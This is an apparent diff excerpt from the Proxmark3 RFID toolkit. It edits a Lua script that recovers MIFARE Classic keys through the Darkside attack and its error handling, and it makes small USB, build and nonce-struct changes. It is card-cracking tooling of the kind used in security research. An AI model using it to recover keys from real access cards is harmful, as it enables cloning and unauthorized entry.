--print("response", isOK)--FF FF FF FF
if isOK == 0xFFFFFFFF then
return nil, "Button pressed. Aborted."
elseif isOK == 0xFFFFFFFE then
return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK == 0xFFFFFFFD then
return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK == 0xFFFFFFFC then
return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
elseif isOK ~= 1 then
return nil, "Error occurred"
end
-- The data-part is left
-- Starts 32 bytes in, at byte 33
local data = result:sub(33)
-- A little helper
local get = function(num)
local x = data:sub(1,num)
data = data:sub(num+1)
return x
end
local uid,nt,pl = get(4),get(4),get(8)
local ks,nr = get(8),get(4)
local status, key = core.nonce2key(uid, nt, nr, pl, ks)
if not status then return status,key end
if status > 0 then
print("Key not found (lfsr_common_prefix problem)")
-- try again
return nil,nil
else
return key
end
end
end
return nil, "Aborted by user"
end
function nested(key,sak)
local typ = 1
if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
@ -211,8 +127,15 @@ function main(args)
print("Card found, commencing crack on UID", uid)
-- Crack it
local key, cnt
res,err = mfcrack()
if not res then return oops(err) end
err, res = core.mfDarkside()
if err == -1 then return oops("Button pressed. Aborted.")
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
elseif err == -4 then return oops([[
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
elseif err == -5 then return oops("Aborted via keyboard.")
end
-- The key is actually 8 bytes, so a
-- 6-byte key is sent as 00XXXXXX
-- This means we unpack it as first

View file

@ -69,7 +69,7 @@ endif
#COMMON_FLAGS += -DHAS_512_FLASH
# Also search prerequisites in the common directory (for usb.c), the fpga directory (for fpga.bit), and the zlib directory
VPATH = . ../common ../fpga ../zlib
VPATH = . ../common ../fpga ../zlib --/uart
INCLUDES = ../include/proxmark3.h ../include/at91sam7s512.h ../include/config_gpio.h ../include/usb_cmd.h $(APP_INCLUDES)

View file

@ -35,7 +35,7 @@
bool cmd_receive(UsbCommand* cmd) {
// Check if there is a usb packet available
if (!usb_poll()) return false;
if (!usb_poll_validate_length()) return false;
// Try to retrieve the available command frame
size_t rxlen = usb_read((byte_t*)cmd,sizeof(UsbCommand));

View file

@ -71,16 +71,17 @@ typedef enum ISO14B_COMMAND {
// "hf 14a sim x", "hf mf sim x" attacks
//-----------------------------------------------------------------------------
typedef struct {
uint32_t cuid;
uint32_t nonce;
uint32_t ar;
uint32_t nr;
uint32_t nonce2;
uint32_t ar2;
uint32_t nr2;
uint8_t sector;
uint8_t keytype;
enum {
uint32_t cuid;
uint32_t nonce;
uint32_t ar;
uint32_t nr;
uint32_t at;
uint32_t nonce2;
uint32_t ar2;
uint32_t nr2;
uint8_t sector;
uint8_t keytype;
enum {
EMPTY,
FIRST,
SECOND,